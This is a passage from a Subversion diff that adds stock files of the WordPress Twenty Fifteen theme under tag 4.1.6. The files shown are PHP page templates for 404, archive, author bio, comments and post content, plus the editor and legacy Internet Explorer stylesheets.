+				</article><!-- #post-0 -->
+
+			<?php endif; ?>
+
+			</div><!-- #content -->
+		</section><!-- #primary -->
+
+<?php get_sidebar(); ?>
+<?php get_footer(); ?>
Index: /tags/4.1.6/src/wp-content/themes/twentyfifteen/404.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyfifteen/404.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyfifteen/404.php	(revision 33402)
@@ -0,0 +1,30 @@
+<?php
+/**
+ * The template for displaying 404 pages (not found)
+ *
+ * @package WordPress
+ * @subpackage Twenty_Fifteen
+ * @since Twenty Fifteen 1.0
+ */
+
+get_header(); ?>
+
+	<div id="primary" class="content-area">
+		<main id="main" class="site-main" role="main">
+
+			<section class="error-404 not-found">
+				<header class="page-header">
+					<h1 class="page-title"><?php _e( 'Oops! That page can&rsquo;t be found.', 'twentyfifteen' ); ?></h1>
+				</header><!-- .page-header -->
+
+				<div class="page-content">
+					<p><?php _e( 'It looks like nothing was found at this location. Maybe try a search?', 'twentyfifteen' ); ?></p>
+
+					<?php get_search_form(); ?>
+				</div><!-- .page-content -->
+			</section><!-- .error-404 -->
+
+		</main><!-- .site-main -->
+	</div><!-- .content-area -->
+
+<?php get_footer(); ?>
Index: /tags/4.1.6/src/wp-content/themes/twentyfifteen/archive.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyfifteen/archive.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyfifteen/archive.php	(revision 33402)
@@ -0,0 +1,64 @@
+<?php
+/**
+ * The template for displaying archive pages
+ *
+ * Used to display archive-type pages if nothing more specific matches a query.
+ * For example, puts together date-based pages if no date.php file exists.
+ *
+ * If you'd like to further customize these archive views, you may create a
+ * new template file for each one. For example, tag.php (Tag archives),
+ * category.php (Category archives), author.php (Author archives), etc.
+ *
+ * @link https://codex.wordpress.org/Template_Hierarchy
+ *
+ * @package WordPress
+ * @subpackage Twenty_Fifteen
+ * @since Twenty Fifteen 1.0
+ */
+
+get_header(); ?>
+
+	<section id="primary" class="content-area">
+		<main id="main" class="site-main" role="main">
+
+		<?php if ( have_posts() ) : ?>
+
+			<header class="page-header">
+				<?php
+					the_archive_title( '<h1 class="page-title">', '</h1>' );
+					the_archive_description( '<div class="taxonomy-description">', '</div>' );
+				?>
+			</header><!-- .page-header -->
+
+			<?php
+			// Start the Loop.
+			while ( have_posts() ) : the_post();
+
+				/*
+				 * Include the Post-Format-specific template for the content.
+				 * If you want to override this in a child theme, then include a file
+				 * called content-___.php (where ___ is the Post Format name) and that will be used instead.
+				 */
+				get_template_part( 'content', get_post_format() );
+
+			// End the loop.
+			endwhile;
+
+			// Previous/next page navigation.
+			the_posts_pagination( array(
+				'prev_text'          => __( 'Previous page', 'twentyfifteen' ),
+				'next_text'          => __( 'Next page', 'twentyfifteen' ),
+				'before_page_number' => '<span class="meta-nav screen-reader-text">' . __( 'Page', 'twentyfifteen' ) . ' </span>',
+			) );
+
+		// If no content, include the "No posts found" template.
+		else :
+			get_template_part( 'content', 'none' );
+
+		endif;
+		?>
+
+		</main><!-- .site-main -->
+	</section><!-- .content-area -->
+
+<?php get_footer(); ?>
Index: /tags/4.1.6/src/wp-content/themes/twentyfifteen/author-bio.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyfifteen/author-bio.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyfifteen/author-bio.php	(revision 33402)
@@ -0,0 +1,39 @@
+<?php
+/**
+ * The template for displaying Author bios
+ *
+ * @package WordPress
+ * @subpackage Twenty_Fifteen
+ * @since Twenty Fifteen 1.0
+ */
+?>
+
+<div class="author-info">
+	<h2 class="author-heading"><?php _e( 'Published by', 'twentyfifteen' ); ?></h2>
+	<div class="author-avatar">
+		<?php
+		/**
+		 * Filter the author bio avatar size.
+		 *
+		 * @since Twenty Fifteen 1.0
+		 *
+		 * @param int $size The avatar height and width size in pixels.
+		 */
+		$author_bio_avatar_size = apply_filters( 'twentyfifteen_author_bio_avatar_size', 56 );
+
+		echo get_avatar( get_the_author_meta( 'user_email' ), $author_bio_avatar_size );
+		?>
+	</div><!-- .author-avatar -->
+
+	<div class="author-description">
+		<h3 class="author-title"><?php echo get_the_author(); ?></h3>
+
+		<p class="author-bio">
+			<?php the_author_meta( 'description' ); ?>
+			<a class="author-link" href="<?php echo esc_url( get_author_posts_url( get_the_author_meta( 'ID' ) ) ); ?>" rel="author">
+				<?php printf( __( 'View all posts by %s', 'twentyfifteen' ), get_the_author() ); ?>
+			</a>
+		</p><!-- .author-bio -->
+
+	</div><!-- .author-description -->
+</div><!-- .author-info -->
Index: /tags/4.1.6/src/wp-content/themes/twentyfifteen/comments.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyfifteen/comments.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyfifteen/comments.php	(revision 33402)
@@ -0,0 +1,58 @@
+<?php
+/**
+ * The template for displaying comments
+ *
+ * The area of the page that contains both current comments
+ * and the comment form.
+ *
+ * @package WordPress
+ * @subpackage Twenty_Fifteen
+ * @since Twenty Fifteen 1.0
+ */
+
+/*
+ * If the current post is protected by a password and
+ * the visitor has not yet entered the password we will
+ * return early without loading the comments.
+ */
+if ( post_password_required() ) {
+	return;
+}
+?>
+
+<div id="comments" class="comments-area">
+
+	<?php if ( have_comments() ) : ?>
+		<h2 class="comments-title">
+			<?php
+				printf( _nx( 'One thought on &ldquo;%2$s&rdquo;', '%1$s thoughts on &ldquo;%2$s&rdquo;', get_comments_number(), 'comments title', 'twentyfifteen' ),
+					number_format_i18n( get_comments_number() ), get_the_title() );
+			?>
+		</h2>
+
+		<?php twentyfifteen_comment_nav(); ?>
+
+		<ol class="comment-list">
+			<?php
+				wp_list_comments( array(
+					'style'       => 'ol',
+					'short_ping'  => true,
+					'avatar_size' => 56,
+				) );
+			?>
+		</ol><!-- .comment-list -->
+
+		<?php twentyfifteen_comment_nav(); ?>
+
+	<?php endif; // have_comments() ?>
+
+	<?php
+		// If comments are closed and there are comments, let's leave a little note, shall we?
+		if ( ! comments_open() && get_comments_number() && post_type_supports( get_post_type(), 'comments' ) ) :
+	?>
+		<p class="no-comments"><?php _e( 'Comments are closed.', 'twentyfifteen' ); ?></p>
+	<?php endif; ?>
+
+	<?php comment_form(); ?>
+
+</div><!-- .comments-area -->
Index: /tags/4.1.6/src/wp-content/themes/twentyfifteen/content-link.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyfifteen/content-link.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyfifteen/content-link.php	(revision 33402)
@@ -0,0 +1,60 @@
+<?php
+/**
+ * The template for displaying link post formats
+ *
+ * Used for both single and index/archive/search.
+ *
+ * @package WordPress
+ * @subpackage Twenty_Fifteen
+ * @since Twenty Fifteen 1.0
+ */
+?>
+
+<article id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
+	<?php twentyfifteen_post_thumbnail(); ?>
+
+	<header class="entry-header">
+		<?php
+			if ( is_single() ) :
+				the_title( sprintf( '<h1 class="entry-title"><a href="%s">', esc_url( twentyfifteen_get_link_url() ) ), '</a></h1>' );
+			else :
+				the_title( sprintf( '<h2 class="entry-title"><a href="%s">', esc_url( twentyfifteen_get_link_url() ) ), '</a></h2>' );
+			endif;
+		?>
+	</header>
+	<!-- .entry-header -->
+
+	<div class="entry-content">
+		<?php
+			/* translators: %s: Name of current post */
+			the_content( sprintf(
+				__( 'Continue reading %s', 'twentyfifteen' ),
+				the_title( '<span class="screen-reader-text">', '</span>', false )
+			) );
+
+			wp_link_pages( array(
+				'before'      => '<div class="page-links"><span class="page-links-title">' . __( 'Pages:', 'twentyfifteen' ) . '</span>',
+				'after'       => '</div>',
+				'link_before' => '<span>',
+				'link_after'  => '</span>',
+				'pagelink'    => '<span class="screen-reader-text">' . __( 'Page', 'twentyfifteen' ) . ' </span>%',
+				'separator'   => '<span class="screen-reader-text">, </span>',
+			) );
+		?>
+	</div>
+	<!-- .entry-content -->
+
+	<?php
+		// Author bio.
+		if ( is_single() && get_the_author_meta( 'description' ) ) :
+			get_template_part( 'author-bio' );
+		endif;
+	?>
+
+	<footer class="entry-footer">
+		<?php twentyfifteen_entry_meta(); ?>
+		<?php edit_post_link( __( 'Edit', 'twentyfifteen' ), '<span class="edit-link">', '</span>' ); ?>
+	</footer>
+	<!-- .entry-footer -->
+
+</article><!-- #post-## -->
Index: /tags/4.1.6/src/wp-content/themes/twentyfifteen/content-none.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyfifteen/content-none.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyfifteen/content-none.php	(revision 33402)
@@ -0,0 +1,37 @@
+<?php
+/**
+ * The template part for displaying a message that posts cannot be found
+ *
+ * Learn more: {@link https://codex.wordpress.org/Template_Hierarchy}
+ *
+ * @package WordPress
+ * @subpackage Twenty_Fifteen
+ * @since Twenty Fifteen 1.0
+ */
+?>
+
+<section class="no-results not-found">
+	<header class="page-header">
+		<h1 class="page-title"><?php _e( 'Nothing Found', 'twentyfifteen' ); ?></h1>
+	</header><!-- .page-header -->
+
+	<div class="page-content">
+
+		<?php if ( is_home() && current_user_can( 'publish_posts' ) ) : ?>
+
+			<p><?php printf( __( 'Ready to publish your first post? <a href="%1$s">Get started here</a>.', 'twentyfifteen' ), esc_url( admin_url( 'post-new.php' ) ) ); ?></p>
+
+		<?php elseif ( is_search() ) : ?>
+
+			<p><?php _e( 'Sorry, but nothing matched your search terms. Please try again with some different keywords.', 'twentyfifteen' ); ?></p>
+			<?php get_search_form(); ?>
+
+		<?php else : ?>
+
+			<p><?php _e( 'It seems we can&rsquo;t find what you&rsquo;re looking for. Perhaps searching can help.', 'twentyfifteen' ); ?></p>
+			<?php get_search_form(); ?>
+
+		<?php endif; ?>
+
+	</div><!-- .page-content -->
+</section><!-- .no-results -->
Index: /tags/4.1.6/src/wp-content/themes/twentyfifteen/content-page.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyfifteen/content-page.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyfifteen/content-page.php	(revision 33402)
@@ -0,0 +1,37 @@
+<?php
+/**
+ * The template used for displaying page content
+ *
+ * @package WordPress
+ * @subpackage Twenty_Fifteen
+ * @since Twenty Fifteen 1.0
+ */
+?>
+
+<article id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
+	<?php
+		// Post thumbnail.
+		twentyfifteen_post_thumbnail();
+	?>
+
+	<header class="entry-header">
+		<?php the_title( '<h1 class="entry-title">', '</h1>' ); ?>
+	</header><!-- .entry-header -->
+
+	<div class="entry-content">
+		<?php the_content(); ?>
+		<?php
+			wp_link_pages( array(
+				'before'      => '<div class="page-links"><span class="page-links-title">' . __( 'Pages:', 'twentyfifteen' ) . '</span>',
+				'after'       => '</div>',
+				'link_before' => '<span>',
+				'link_after'  => '</span>',
+				'pagelink'    => '<span class="screen-reader-text">' . __( 'Page', 'twentyfifteen' ) . ' </span>%',
+				'separator'   => '<span class="screen-reader-text">, </span>',
+			) );
+		?>
+	</div><!-- .entry-content -->
+
+	<?php edit_post_link( __( 'Edit', 'twentyfifteen' ), '<footer class="entry-footer"><span class="edit-link">', '</span></footer><!-- .entry-footer -->' ); ?>
+
+</article><!-- #post-## -->
Index: /tags/4.1.6/src/wp-content/themes/twentyfifteen/content-search.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyfifteen/content-search.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyfifteen/content-search.php	(revision 33402)
@@ -0,0 +1,37 @@
+<?php
+/**
+ * The template part for displaying results in search pages
+ *
+ * Learn more: {@link https://codex.wordpress.org/Template_Hierarchy}
+ *
+ * @package WordPress
+ * @subpackage Twenty_Fifteen
+ * @since Twenty Fifteen 1.0
+ */
+?>
+
+<article id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
+	<?php twentyfifteen_post_thumbnail(); ?>
+
+	<header class="entry-header">
+		<?php the_title( sprintf( '<h2 class="entry-title"><a href="%s" rel="bookmark">', esc_url( get_permalink() ) ), '</a></h2>' ); ?>
+	</header><!-- .entry-header -->
+
+	<div class="entry-summary">
+		<?php the_excerpt(); ?>
+	</div><!-- .entry-summary -->
+
+	<?php if ( 'post' == get_post_type() ) : ?>
+
+		<footer class="entry-footer">
+			<?php twentyfifteen_entry_meta(); ?>
+			<?php edit_post_link( __( 'Edit', 'twentyfifteen' ), '<span class="edit-link">', '</span>' ); ?>
+		</footer><!-- .entry-footer -->
+
+	<?php else : ?>
+
+		<?php edit_post_link( __( 'Edit', 'twentyfifteen' ), '<footer class="entry-footer"><span class="edit-link">', '</span></footer><!-- .entry-footer -->' ); ?>
+
+	<?php endif; ?>
+
+</article><!-- #post-## -->
Index: /tags/4.1.6/src/wp-content/themes/twentyfifteen/content.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyfifteen/content.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyfifteen/content.php	(revision 33402)
@@ -0,0 +1,60 @@
+<?php
+/**
+ * The default template for displaying content
+ *
+ * Used for both single and index/archive/search.
+ *
+ * @package WordPress
+ * @subpackage Twenty_Fifteen
+ * @since Twenty Fifteen 1.0
+ */
+?>
+
+<article id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
+	<?php
+		// Post thumbnail.
+		twentyfifteen_post_thumbnail();
+	?>
+
+	<header class="entry-header">
+		<?php
+			if ( is_single() ) :
+				the_title( '<h1 class="entry-title">', '</h1>' );
+			else :
+				the_title( sprintf( '<h2 class="entry-title"><a href="%s" rel="bookmark">', esc_url( get_permalink() ) ), '</a></h2>' );
+			endif;
+		?>
+	</header><!-- .entry-header -->
+
+	<div class="entry-content">
+		<?php
+			/* translators: %s: Name of current post */
+			the_content( sprintf(
+				__( 'Continue reading %s', 'twentyfifteen' ),
+				the_title( '<span class="screen-reader-text">', '</span>', false )
+			) );
+
+			wp_link_pages( array(
+				'before'      => '<div class="page-links"><span class="page-links-title">' . __( 'Pages:', 'twentyfifteen' ) . '</span>',
+				'after'       => '</div>',
+				'link_before' => '<span>',
+				'link_after'  => '</span>',
+				'pagelink'    => '<span class="screen-reader-text">' . __( 'Page', 'twentyfifteen' ) . ' </span>%',
+				'separator'   => '<span class="screen-reader-text">, </span>',
+			) );
+		?>
+	</div><!-- .entry-content -->
+
+	<?php
+		// Author bio.
+		if ( is_single() && get_the_author_meta( 'description' ) ) :
+			get_template_part( 'author-bio' );
+		endif;
+	?>
+
+	<footer class="entry-footer">
+		<?php twentyfifteen_entry_meta(); ?>
+		<?php edit_post_link( __( 'Edit', 'twentyfifteen' ), '<span class="edit-link">', '</span>' ); ?>
+	</footer><!-- .entry-footer -->
+
+</article><!-- #post-## -->
Index: /tags/4.1.6/src/wp-content/themes/twentyfifteen/css/editor-style.css
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyfifteen/css/editor-style.css	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyfifteen/css/editor-style.css	(revision 33402)
@@ -0,0 +1,481 @@
+/*
+Theme Name: Twenty Fifteen
+Description: Used to style the TinyMCE editor.
+*/
+
+
+/**
+ * Table of Contents:
+ *
+ * 1.0 - Body
+ * 2.0 - Typography
+ * 3.0 - Elements
+ * 4.0 - Alignment
+ * 5.0 - Caption
+ * 6.0 - Galleries
+ * 7.0 - Audio / Video
+ * 8.0 - RTL
+ */
+
+
+/**
+ * 1.0 Body
+ */
+
+body {
+	color: #333;
+	font-family: "Noto Serif", serif;
+	font-weight: 400;
+	font-size: 17px;
+	line-height: 1.6471;
+	margin: 20px 40px;
+	max-width: 660px;
+	vertical-align: baseline;
+}
+
+
+/**
+ * 2.0 Typography
+ */
+
+h1,
+h2,
+h3,
+h4,
+h5,
+h6 {
+	clear: both;
+	font-weight: 700;
+	margin: 56px 0 28px;
+}
+
+h1 {
+	font-size: 35px;
+	line-height: 1.2308;
+}
+
+h2 {
+	font-size: 29px;
+	line-height: 1.2069;
+}
+
+h3 {
+	font-size: 24px;
+	line-height: 1.1667;
+}
+
+h4 {
+	font-size: 20px;
+	line-height: 1.4;
+}
+
+h5,
+h6 {
+	font-size: 17px;
+	letter-spacing: 0.1em;
+	line-height: 1.2353;
+	text-transform: uppercase;
+}
+
+h1:first-child,
+h2:first-child,
+h3:first-child,
+h4:first-child,
+h5:first-child,
+h6:first-child {
+	margin-top: 0;
+}
+
+p {
+	margin: 0 0 28px;
+}
+
+b,
+strong {
+	font-weight: 700;
+}
+
+dfn,
+cite,
+em,
+i {
+	font-style: italic;
+}
+
+blockquote {
+	border-left: 4px solid #707070;
+	color: #707070;
+	font-size: 20px;
+	font-style: italic;
+	line-height: 1.8182;
+	margin: 0 0 35px -21px;
+	padding-left: 17px;
+}
+
+blockquote > blockquote {
+	margin-left: 0;
+}
+
+blockquote p {
+	margin-bottom: 35px;
+}
+
+blockquote > p:last-child {
+	margin-bottom: 0;
+}
+
+blockquote cite,
+blockquote small {
+	color: #333;
+	font-family: "Noto Sans", sans-serif;
+	font-size: 17px;
+	line-height: 1.6471;
+}
+
+blockquote em,
+blockquote i,
+blockquote cite {
+	font-style: normal;
+}
+
+blockquote strong,
+blockquote b {
+	font-weight: 400;
+}
+
+address {
+	font-style: italic;
+	margin: 0 0 28px;
+}
+
+code,
+kbd,
+tt,
+var,
+samp,
+pre {
+	font-family: Inconsolata, monospace;
+}
+
+pre {
+	background-color: #fcfcfc;
+	border: 1px solid #eaeaea;
+	font-size: 17px;
+	line-height: 1.2353;
+	margin-bottom: 28px;
+	max-width: 100%;
+	overflow: auto;
+	padding: 14px;
+	white-space: pre;
+	white-space: pre-wrap;
+	word-wrap: break-word;
+}
+
+abbr[title] {
+	border-bottom: 1px dotted #eaeaea;
+	cursor: help;
+}
+
+mark,
+ins {
+	background-color: #fff9c0;
+	text-decoration: none;
+}
+
+sup,
+sub {
+	font-size: 75%;
+	height: 0;
+	line-height: 0;
+	position: relative;
+	vertical-align: baseline;
+}
+
+sup {
+	bottom: 1ex;
+}
+
+sub {
+	top: .5ex;
+}
+
+small {
+	font-size: 75%;
+}
+
+big {
+	font-size: 125%;
+}
+
+
+/**
+ * 3.0 Elements
+ */
+
+hr {
+	background-color: #eaeaea;
+	border: 0;
+	height: 1px;
+	margin-bottom: 28px;
+}
+
+ul,
+ol {
+	margin: 0 0 28px 0;
+	padding: 0;
+}
+
+ul {
+	list-style: disc;
+}
+
+ol {
+	list-style: decimal;
+}
+
+li > ul,
+li > ol {
+	margin: 0 0 0 23px;
+}
+
+dl {
+	margin: 0 0 28px;
+}
+
+dt {
+	font-weight: bold;
+}
+
+dd {
+	margin: 0 0 28px;
+}
+
+table,
+th,
+td,
+.mce-item-table,
+.mce-item-table th,
+.mce-item-table td {
+	border: 1px solid #eaeaea;
+}
+
+table a {
+	color: #333;
+}
+
+table,
+.mce-item-table {
+	border-collapse: separate;
+	border-spacing: 0;
+	border-width: 1px 0 0 1px;
+	margin: 0 0 28px;
+	width: 100%;
+}
+
+table th,
+.mce-item-table th,
+table caption {
+	border-width: 0 1px 1px 0;
+	font-family: "Noto Serif", serif;
+	font-size: 17px;
+	font-weight: 700;
+	padding: 7px;
+	text-align: left;
+	vertical-align: baseline;
+}
+
+table td,
+.mce-item-table td {
+	border-width: 0 1px 1px 0;
+	font-family: "Noto Serif", serif;
+	font-size: 17px;
+	padding: 7px;
+	vertical-align: baseline;
+}
+
+img {
+	border: 0;
+	height: auto;
+	max-width: 660px;
+	vertical-align: middle;
+}
+
+a img {
+	display: block;
+}
+
+figure {
+	margin: 0;
+}
+
+del {
+	opacity: 0.8;
+}
+
+a {
+	border-bottom: 1px solid #333;
+	color: #333;
+	text-decoration: none;
+}
+
+
+/**
+ * 4.0 Alignment
+ */
+
+.alignleft {
+	float: left;
+	margin: 7px 28px 28px 0;
+}
+
+.alignright {
+	float: right;
+	margin: 7px 0 28px 28px;
+}
+
+.aligncenter {
+	clear: both;
+	display: block;
+	margin: 7px auto;
+}
+
+
+/**
+ * 5.0 Caption
+ */
+
+.wp-caption {
+	background: transparent;
+	border: none;
+	color: #707070;
+	font-family: "Noto Sans", sans-serif;
+	margin: 0 0 28px 0;
+	max-width: 660px;
+	padding: 0;
+	text-align: inherit;
+}
+
+.wp-caption.alignleft {
+	margin: 7px 28px 21px 0;
+}
+
+.wp-caption.alignright {
+	margin: 7px 0 21px 28px;
+}
+
+.wp-caption.aligncenter {
+	margin: 7px auto;
+}
+
+.wp-caption .wp-caption-text,
+.wp-caption-dd {
+	font-size: 14px;
+	line-height: 1.5;
+	padding: 7px 0;
+}
+
+
+/**
+ * 6.0 Galleries
+ */
+
+.gallery-item {
+	display: inline-block;
+	padding: 1.79104477%;
+	text-align: center;
+	vertical-align: top;
+	width: 100%;
+}
+
+.gallery-columns-2 .gallery-item {
+	max-width: 50%;
+}
+
+.gallery-columns-3 .gallery-item {
+	max-width: 33.33%;
+}
+
+.gallery-columns-4 .gallery-item {
+	max-width: 25%;
+}
+
+.gallery-columns-5 .gallery-item {
+	max-width: 20%;
+}
+
+.gallery-columns-6 .gallery-item {
+	max-width: 16.66%;
+}
+
+.gallery-columns-7 .gallery-item {
+	max-width: 14.28%;
+}
+
+.gallery-columns-8 .gallery-item {
+	max-width: 12.5%;
+}
+
+.gallery-columns-9 .gallery-item {
+	max-width: 11.11%;
+}
+
+.gallery .gallery-caption {
+	color: #707070;
+	display: block;
+	font-family: "Noto Sans", sans-serif;
+	font-size: 14px;
+	line-height: 1.5;
+	padding: 7px 0;
+}
+
+.gallery-columns-6 .gallery-caption,
+.gallery-columns-7 .gallery-caption,
+.gallery-columns-8 .gallery-caption,
+.gallery-columns-9 .gallery-caption {
+	display: none;
+}
+
+
+/**
+ * 7.0 Audio / Video
+ */
+
+.mce-content-body .wpview-wrap {
+	margin-bottom: 32px;
+}
+
+.mce-content-body .wp-audio-playlist {
+	margin: 0;
+}
+
+
+/**
+ * 8.0 RTL
+ */
+
+body.rtl {
+	font-family: Arial, Tahoma, sans-serif;
+}
+
+.rtl blockquote {
+	border-left: none;
+	border-right: 4px solid #707070;
+	margin: 0 -21px 35px 0;
+	padding-left: 0;
+	padding-right: 17px;
+}
+
+.rtl blockquote > blockquote {
+	margin-left: auto;
+	margin-right: 0;
+}
+
+.rtl li > ul,
+.rtl li > ol {
+	margin: 0 23px 0 0;
+}
+
+.rtl table th,
+.rtl table caption {
+	text-align: right;
+}
Index: /tags/4.1.6/src/wp-content/themes/twentyfifteen/css/ie.css
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyfifteen/css/ie.css	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyfifteen/css/ie.css	(revision 33402)
@@ -0,0 +1,915 @@
+/*
+Theme Name: Twenty Fifteen
+Description: Global Styles for older IE versions (previous to IE9).
+*/
+
+body,
+button,
+input,
+select,
+textarea {
+	font-size: 19px;
+	line-height: 1.6842;
+}
+
+button,
+input {
+	line-height: normal;
+}
+
+p,
+address,
+pre,
+hr,
+ul,
+ol,
+dl,
+dd,
+table {
+	margin-bottom: 1.6842em;
+}
+
+ul,
+ol {
+	margin-left: 0;
+}
+
+li > ul,
+li > ol,
+blockquote > ul,
+blockquote > ol {
+	margin-left: 1.3333em;
+}
+
+blockquote {
+	border-color: inherit;
+	border-style: solid;
+	border-width: 0 0 0 4px;
+	font-size: 22px;
+	line-height: 1.8182;
+	margin-bottom: 1.8182em;
+	margin-left: -1.0909em;
+	padding-left: 0.9091em;
+}
+
+blockquote > blockquote {
+	margin-left: 0;
+}
+
+blockquote p {
+	margin-bottom: 1.8182em;
+}
+
+blockquote cite,
+blockquote small {
+	font-size: 19px;
+	line-height: 1.6842;
+}
+
+pre {
+	line-height: 1.2632;
+}
+
+.entry-content img,
+.entry-summary img,
+.page-content img,
+.comment-content img,
+.widget img {
+	max-width: 660px;
+}
+
+img.size-full,
+img.size-large,
+img.header-image,
+img.wp-post-image,
+img[class*="align"],
+img[class*="wp-image-"],
+img[class*="attachment-"] {
+	height: auto;
+	width: auto; /* Prevent stretching of full-size and large-size images with height and width attributes in IE8 */
+}
+
+button,
+input[type="button"],
+input[type="reset"],
+input[type="submit"],
+.post-password-form input[type="submit"] {
+	font-size: 16px;
+	padding: 0.8125em 1.625em;
+}
+
+input[type="text"],
+input[type="email"],
+input[type="url"],
+input[type="password"],
+input[type="search"],
+textarea {
+	padding: 0.5278em;
+}
+
+.main-navigation {
+	font-size: 16px;
+	line-height: 1.5;
+	margin: 9.0909%;
+}
+
+.main-navigation ul ul {
+	border-bottom: 0;
+	border-top: 0;
+	margin-left: 1em;
+}
+
+.main-navigation a {
+	padding: 0.75em 0;
+}
+
+.main-navigation .page_item_has_children > a,
+.main-navigation .main-navigation .menu-item-has-children > a {
+	padding-right: 53px;
+}
+
+.main-navigation .menu-item-description {
+	font-size: 13px;
+	line-height: 1.8462;
+	margin-top: 0;
+}
+
+.social-navigation {
+	margin: 9.0909%;
+	max-width: 660px;
+	padding-top: 0;
+}
+
+.social-navigation ul {
+	margin-bottom: -1.2632em;
+}
+
+.social-navigation a {
+	width: 2.5263em;
+	height: 2.5263em;
+}
+
+.secondary-toggle {
+	margin-top: -32px;
+	right: 7.6897%;
+	width: 64px;
+	height: 64px;
+}
+
+.secondary-toggle:before {
+	line-height: 64px;
+}
+
+.post-password-form label,
+.post-navigation .meta-nav,
+.comment-navigation,
+.image-navigation,
+.author-heading,
+.author-bio,
+.entry-footer,
+.page-links a,
+.page-links span,
+.comment-metadata,
+.pingback .edit-link,
+.comment-list .reply,
+.comment-notes,
+.comment-awaiting-moderation,
+.logged-in-as,
+.comment-form label,
+.form-allowed-tags,
+.site-info,
+.wp-caption-text,
+.gallery-caption,
+.entry-caption {
+	font-size: 16px;
+}
+
+.post-navigation .post-title {
+	font-size: 24px;
+	line-height: 1.1667;
+}
+
+.pagination .nav-links {
+	min-height: 3.3684em;
+}
+
+.pagination .page-numbers {
+	line-height: 3.3684em;
+	padding: 0 0.8421em;
+}
+
+.pagination .prev,
+.pagination .next {
+	padding: 0;
+	width: 64px;
+	height: 64px;
+}
+
+.pagination .prev:before,
+.pagination .next:before {
+	line-height: 64px;
+	width: 64px;
+	height: 64px;
+}
+
+.image-navigation a {
+	display: block;
+	margin-bottom: 2em;
+}
+
+.image-navigation .nav-previous,
+.comment-navigation .nav-previous {
+	float: left;
+	width: 50%;
+}
+.image-navigation .nav-next,
+.comment-navigation .nav-next {
+	float: right;
+	text-align: right;
+	width: 50%;
+}
+
+.image-navigation .nav-previous a:before,
+.image-navigation .nav-next a:after,
+.comment-navigation .nav-previous a:before,
+.comment-navigation .nav-next a:after {
+	font-size: 24px;
+	top: -1px;
+}
+
+blockquote.alignleft,
+.wp-caption.alignleft,
+img.alignleft {
+	margin: 0.4211em 1.6842em 1.6842em 0;
+}
+
+blockquote.alignright,
+.wp-caption.alignright,
+img.alignright {
+	margin: 0.4211em 0 1.6842em 1.6842em;
+}
+
+blockquote.aligncenter,
+.wp-caption.aligncenter,
+img.aligncenter {
+	margin-top: 0.4211em;
+	margin-bottom: 1.6842em;
+}
+
+.site-header {
+	border-top: 1px solid transparent;
+	border-bottom: 1px solid transparent;
+	padding: 0;
+}
+
+.secondary {
+	background-color: #fff;
+	margin: 0 auto;
+	max-width: 807px;
+	padding: 0;
+}
+
+.site-main {
+	padding: 7.6923% 0;
+}
+
+.site-content {
+	margin: 0 auto;
+	max-width: 954px;
+}
+
+.site-branding {
+	background-color: inherit;
+	margin: 0 auto;
+	max-width: 954px;
+	padding: 0;
+}
+
+.site-title {
+	font-size: 32px;
+	line-height: 1.25;
+	margin: 7.6897% 7.6897% 0;
+}
+
+.site-description {
+	background-color: inherit;
+	display: block;
+	filter: alpha(opacity=70);
+	font-size: 16px;
+	margin: 0.5em 7.6897% 7.6897%;
+}
+
+.sidebar {
+	position: static !important;
+}
+
+.widget-area {
+	clear: both;
+	margin: 9.0909% 9.0909% 0;
+	max-width: 660px;
+}
+
+.widget {
+	font-size: 16px;
+	margin: 0 0 11.1111%;
+}
+
+.widget p,
+.widget address,
+.widget hr,
+.widget ul,
+.widget ol,
+.widget dl,
+.widget dd,
+.widget table,
+.widget pre {
+	margin-bottom: 1.5em;
+}
+
+.widget li > ul,
+.widget li > ol {
+	margin-bottom: 0;
+}
+
+.widget blockquote {
+	font-size: 19px;
+	line-height: 1.6842;
+	margin-bottom: 1.6842em;
+	margin-left: -1.2632em;
+	padding-left: 1.0526em;
+}
+
+.widget blockquote > blockquote {
+	margin-left: 0;
+}
+
+.widget blockquote p {
+	margin-bottom: 1.6842em;
+}
+
+.widget blockquote cite,
+.widget blockquote small {
+	font-size: 16px;
+	line-height: 1.5;
+}
+
+.widget pre {
+	line-height: 1.5;
+	padding: 0.75em;
+}
+
+.widget button,
+.widget input,
+.widget select,
+.widget textarea {
+	line-height: 1.5;
+}
+
+.widget button,
+.widget input {
+	line-height: normal;
+}
+
+.widget button,
+.widget input[type="button"],
+.widget input[type="reset"],
+.widget input[type="submit"] {
+	font-size: 16px;
+	padding: 0.8125em 1.625em;
+}
+
+.widget input[type="text"],
+.widget input[type="email"],
+.widget input[type="url"],
+.widget input[type="password"],
+.widget input[type="search"],
+.widget textarea {
+	padding: 0.75em;
+}
+
+.widget-title {
+	margin: 0 0 1.5em;
+}
+
+.widget_calendar td,
+.widget_calendar th {
+	line-height: 2.9375;
+}
+
+.widget_calendar caption {
+	margin: 0 0 1.5em;
+}
+
+.widget_archive li,
+.widget_categories li,
+.widget_links li,
+.widget_meta li,
+.widget_nav_menu li,
+.widget_pages li,
+.widget_recent_comments li,
+.widget_recent_entries li {
